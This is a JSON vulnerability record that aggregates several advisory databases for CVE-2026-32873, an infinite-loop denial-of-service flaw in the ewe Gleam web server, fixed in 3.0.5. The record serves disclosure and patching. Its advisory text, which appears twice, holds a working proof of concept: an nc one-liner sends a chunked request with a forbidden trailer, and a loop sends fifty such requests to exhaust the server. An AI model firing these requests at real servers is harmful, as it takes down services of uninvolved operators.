{"id":"CVE-2026-32873","aliases":["EUVD-2026-13428","GHSA-4w98-xf39-23gp"],"status":"published","title":"ewe: Loop with Unreachable Exit Condition ('Infinite Loop')","description":"ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00623,"percentile":0.50205,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-825","CWE-835"],"published":"2026-03-16T20:49:50Z","modified":"2026-10-28T02:31:15Z","fixes":[{"ecosystem":"Hex","package":"ewe","fixed_in":["3.0.5"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"ewe","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.0"},{"fixed":"3.0.5"}]}]},{"source":"osv","ecosystem":"Hex","package":"ewe","ranges":[{"type":"SEMVER","events":[{"introduced":"0.8.0"},{"fixed":"3.0.5"}]}],"versions":["0.10.0","0.8.0","0.8.1","0.9.0","1.0.0","1.0.0-rc1","1.0.0-rc2","1.0.1","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","2.1.1","2.1.2","2.1.3","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4"]}],"products":[{"vendor":"vshakitskiy","product":"ewe"}],"references":[{"url":"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-4w98-xf39-23gp","tags":["x_refsource_CONFIRM","exploit","Exploit","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/vshakitskiy/ewe/commit/8513de9dcdd0005f727c0f6f15dd89f8d626f560","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/vshakitskiy/ewe/commit/d8b9b8a86470c0cb5696647997c2f34763506e37","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32873","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4w98-xf39-23gp"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32873.json","tags":["advisory"]},{"url":"https://github.com/vshakitskiy/ewe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-32873","title":"ewe: Loop with Unreachable Exit Condition ('Infinite Loop')","description":"ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:13:39.665Z","modified":"2026-03-20T18:08:59.66Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-825"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-13428","description":"ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:13:39Z","modified":"2026-03-20T18:08:59Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:32.04432Z"}],"ghsa":[{"id":"GHSA-4w98-xf39-23gp","title":"Loop with Unreachable Exit Condition ('Infinite Loop') in ewe","description":"## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 \u0026\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) \u0026\u0026 !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```","status":"published","published":"2026-03-16T20:49:50Z","modified":"2026-04-24T20:27:31Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-825","CWE-835"],"updated_at":"2026-11-02T14:39:56.453138Z"}],"nvd":[{"id":"CVE-2026-32873","description":"ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.","status":"published","published":"2026-03-20T02:16:35.54Z","modified":"2026-06-17T10:36:29.283Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-825","CWE-835"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-32873","title":"ewe: Loop with Unreachable Exit Condition ('Infinite Loop')","description":"ewe is a Gleam web server. Versions 0.8.0 through 3.0.4 contain a bug in the handle_trailers function where rejected trailer headers (forbidden or undeclared) cause an infinite loop. When handle_trailers encounters such a trailer, three code paths (lines 520, 523, 526) recurse with the original buffer (rest) instead of advancing past the rejected header (Buffer(header_rest, 0)), causing decoder.decode_packet to re-parse the same header on every iteration. The resulting loop has no timeout or escape — the BEAM process permanently wedges at 100% CPU. Any application that calls ewe.read_body on chunked requests is affected, and this is exploitable by any unauthenticated remote client before control returns to application code, making an application-level workaround impossible. This issue is fixed in version 3.0.5.","status":"published","published":"2026-03-20T01:13:39.665Z","modified":"2026-10-28T02:31:15.003356354Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-825"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-4w98-xf39-23gp","title":"Loop with Unreachable Exit Condition ('Infinite Loop') in ewe","description":"## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -\u003e handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 \u0026\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -\u003e Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -\u003e req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -\u003e {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -\u003e {\n          case\n            set.contains(set, field_name) \u0026\u0026 !is_forbidden_trailer(field_name)\n          {\n            True -\u003e {\n              case bit_array.to_string(value) {\n                Ok(value) -\u003e {\n                  request.set_header(req, field_name, value)\n                  |\u003e handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -\u003e handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -\u003e handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -\u003e handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -\u003e req\n  }\n}\n```","status":"published","published":"2026-03-16T20:49:50Z","modified":"2026-05-05T15:56:18.395063Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-825","CWE-835"],"updated_at":"2026-11-02T15:46:37.528068Z"}]}}
